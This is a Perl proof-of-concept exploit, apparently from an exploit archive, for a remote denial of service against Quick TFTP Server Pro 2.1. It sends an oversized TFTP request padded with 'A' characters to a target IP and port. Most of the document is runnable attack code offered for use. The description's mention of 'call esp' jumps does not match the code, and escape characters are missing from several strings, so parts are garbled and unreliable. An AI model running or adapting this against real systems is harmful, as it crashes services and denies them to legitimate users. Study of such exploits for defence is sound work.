Authored by Fernando Mengali

Quick TFTP Server Pro version 2.1 remote denial of service exploit.

#!/usr/bin/perl

use IO::Socket::INET;

# Exploit Title: Quick TFTP Server Pro 2.1 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 12 january 2024
# Vendor Homepage: https://www.tallsoft.com/
# Download to demo: https://drive.google.com/file/d/1Q4tIYjtv9Aqe5VE1fwnT18d3Cc-xkYEX/view?usp=sharing
# Notification vendor: No reported
# Tested Version: Quick TFTP Server Pro 2.1
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# VĂ­deo: https://www.youtube.com/watch?v=yz7_ImFYueA

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data to TFTP.
#The following request sends a large amount of data to the TFTP to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}

system("$cmd");

intro();
main();

print "t ==> Connecting to webserver... nn";
sleep(1);

my $filename = "exploit";

$shell = "A"x317;

my $mode = "A" x 1360;

my $muha = "x00x02" .$filename . "x00" .$mode;

socket(SOCKET, PF_INET, SOCK_DGRAM, getprotobyname('udp')) or die "socket() failed: $!";
send(SOCKET, $muha, 0, sockaddr_in($port, inet_aton($ip))) or die "send() failed: $!";

print "t ==> Done! Exploited!";
sub intro {
print q {


_________
| |
| Exploit |==( ) //////
|_________| ||| | o o|
||| ( c ) ____
||| = / || _
|||||| || |
|||||| ...||__/|-"
|||||| __|________|__
||| |______________|
||| || || || ||
||| || || || ||
------------|||-------------||-||------||-||-------
|__> || || || ||

[+] Quick TFTP Server Pro 2.1 - Denial of Service (DoS)

[*] Coded by Fernando Mengali

[@] e-mail: [email protected]

}
}

sub main {

our ($ip, $port) = @ARGV;

unless (defined($ip) && defined($port)) {

print "ntUsage: $0 <ip> <port> n";
exit(-1);

}
}

#3. Solution/ How to fix:

# This version product is deprecated